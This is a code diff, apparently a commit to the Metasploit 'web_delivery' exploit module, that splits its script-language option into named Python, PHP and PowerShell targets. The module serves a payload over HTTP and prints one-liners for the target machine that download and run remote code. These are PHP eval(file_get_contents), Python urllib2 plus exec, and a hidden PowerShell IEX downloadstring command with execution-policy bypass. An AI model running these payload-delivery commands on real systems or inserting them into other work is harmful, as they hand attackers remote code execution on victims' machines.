Targets update

Author: jakxx

modules/exploits/multi/script/web_delivery.rb

@@ -43,20 +43,41 @@ def initialize(info = {})
       'Platform'       => %w{ py php win},
       'Targets'        =>
         [
-              [ 'Automatic', { } ],
+          ['Python_win', {
+            'Platform' => 'py',
+            'Arch' => ARCH_PYTHON
+          }],
+          ['Python_linux', {
+            'Platform' => 'py',
+            'Arch' => ARCH_PYTHON
+          }],
+          ['PHP_win', {
+            'Platform' => 'php',
+            'Arch' => ARCH_PHP
+          }],
+          ['PHP_linux', {
+            'Platform' => 'php',
+            'Arch' => ARCH_PHP
+          }],
+          ['PSH_x86', {
+            'Platform' => 'win',
+            'Arch' => ARCH_X86
+          }],
+          ['PSH_x64', {
+            'Platform' => 'win',
+            'Arch' => ARCH_X86_64
+          }],
+
+
         ],
       'DefaultTarget'  => 0,
       'DisclosureDate' => 'N/A'
        ))
-           register_options(
-      [
-        OptString.new('SCRIPT_LANG',  [true, 'Scripting Language to use: PY, PHP, or PSH', 'PY']),
-      ], self.class)
-         end
+      end
 
   def on_request_uri(cli, request)
     print_status("Delivering Payload")
-    if (datastore['SCRIPT_LANG'] == "PSH")
+    if (target.name.include? "PSH")
         data = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded)
     else
         data = %Q|#{payload.encoded} |
@@ -66,32 +87,18 @@ def on_request_uri(cli, request)
 
   def primer
     url = get_uri()
-    p = datastore['Payload']
-    if (datastore['SCRIPT_LANG'] == "PHP")
-        if (p[0..2] == "php")
-                print_status("Run the following command on the target machine:")
-                print_line("For Linux: php -r \"eval(file_get_contents('#{url}'));\"")
-                print_line("For Windows: php.exe -r \"eval(file_get_contents('#{url}'));\"")
-        else
-                print_error("Payload currently unsupported by PHP. You will need to use a native PHP payload, such as php/meterpreter")
-                return
-        end
-    elsif (datastore['SCRIPT_LANG'] == "PY")
-        if (p[0..5] == "python")
-                print_status("Run the following command on the target machine:")
-                print_line("For Linux: python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
-                print_line("For Windows: python.exe -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
-        else
-                print_error("Payload currently unsupported by Python. You will need to use a native python payload, such as python/meterpreter")
-                return
-        end
-    elsif (datastore['SCRIPT_LANG'] == "PSH")
+    print_status("Run the following command on the target machine:")
+    if (target.name == "PHP_linux")
+        print_line("php -r \"eval(file_get_contents('#{url}'));\"")
+    elsif (target.name == "PHP_win")    
+        print_line("php.exe -r \"eval(file_get_contents('#{url}'));\"")
+    elsif (target.name == "Python_linux")
+        print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
+    elsif (target.name == "Python_win")    
+        print_line("python.exe -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
+    else
         download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
-        print_status("Run the following command on the target machine:")
         print_line("powershell.exe -w hidden -nop -ep bypass -c \"#{download_and_run}\"")
-    else
-        print_error("You did not specify a valid scripting language. Exiting...")
-        return
     end
   end
  end